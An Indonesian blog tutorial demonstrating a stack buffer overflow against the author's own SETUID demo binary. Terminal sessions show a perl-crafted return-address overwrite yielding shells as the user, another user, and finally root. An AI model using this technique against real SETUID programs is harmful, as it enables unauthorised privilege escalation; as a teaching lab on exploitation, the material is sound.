Artikel Terkini

Monday, September 10, 2012

buffer overflow dan root shell

0 comments
Dengan teknik buffer overflow bisa terjadi efek domino atau efek lanjutan yang bisa jauh lebih berbahaya.  telah dijelaskan bagaimana cara memanfaatkan vulnerability sebuah program dan pada akhirnya bisa menghasilkan sebuah shell. Pada posting kali ini akan dijelaskan salah satu spot menarik untuk kita mendapatkan shell root, bukan sekedar shell user dengan privilege terbatas.
SETUID adalah salah satu flag di file system Linux yang tujuannya untuk menge-set user ID sesuai dengan pemilik file ketika file akan di eksekusi. SETUID octal value adalah 04000. Jadi kalau mau setting SETUID pada file “hehe.txt” untuk read,write,exec oleh user bersangkutan dan read,exec oleh group user bersangkutan + others adalah dengan command “chmod 4755 hehe.txt”.
Langsung saja tidak pake basa-basi lagi, ini adalah program vulnerable kita yang dieksekusi dengan argumen khusus yang telah diracik sehingga hasilnya adalah sebuah shell…
Pertama status pemilik file executable “S9″ nya adalah user “inan”. Program dieksekusi dari user “inan”. Bagi yang bingung, file “S9″ itu adalah binary program yang telah saya buat (ada di postingan ).
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 inan users 7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13$ whoami
14inan
15$ exit
16inan@ubuntu:~/Desktop/bof/demo$
Kedua status pemiliknya (ceritanya diganti…) file “S9″ milik user “bombom”. Sebagai catatan, file ini dieksekusi oleh user “inan”.
1root@ubuntu:/home/inan/Desktop/bof/demo# chown bombom:users S9
2root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 bombom users 7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan   users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan   users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13$ whoami
14bombom
15$ exit
16inan@ubuntu:~/Desktop/bof/demo$
Ketiga status pemiliknya (ceritanya diganti…) file “S9″ adalah milik “root”. File ini dieksekusi dari user “inan”.
1root@ubuntu:/home/inan/Desktop/bof/demo# chown root:root S9
2root@ubuntu:/home/inan/Desktop/bof/demo# chmod 4755 S9
01inan@ubuntu:~/Desktop/bof/demo$ ls -l
02total 16
03-rwsr-xr-x 1 root root  7231 2011-12-20 07:06 S9
04-rwxr-xr-x 1 inan users   31 2011-12-21 06:24 shellcode.bin
05-rw-r--r-- 1 inan users  125 2011-12-18 04:12 shellcode.txt
06inan@ubuntu:~/Desktop/bof/demo$ ./S9 abcdefghijklmno$(perl -e 'print "\x22\xfe\xff\xbf";')
07[ATURAN] buffer B hanya bisa menampung 3 bytes data
08[BEFORE] ini buffer A masukan anda: abcdefghijklmno"???
09[BEFORE] ini buffer B sekarang:
10[PROCESSING...] menyalin isi buffer A ke buffer B
11[AFTER] ini isi buffer A: abcdefghijklmno"???
12[AFTER] ini isi buffer B: abcdefghijklmno"???
13# whoami
14root
15# id
16uid=1000(inan) gid=1000(inan) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(inan)
17#
Dengan memanfaatkan program yang pemiliknya adalah root dan menggunakan flag SETUID, kita bisa cari bugsnya dan manfaatin file itu untuk gaining root shell. Kini, file “S9″ bisa disebut sebuah rootkit hahahak.. ;p

Leave a Reply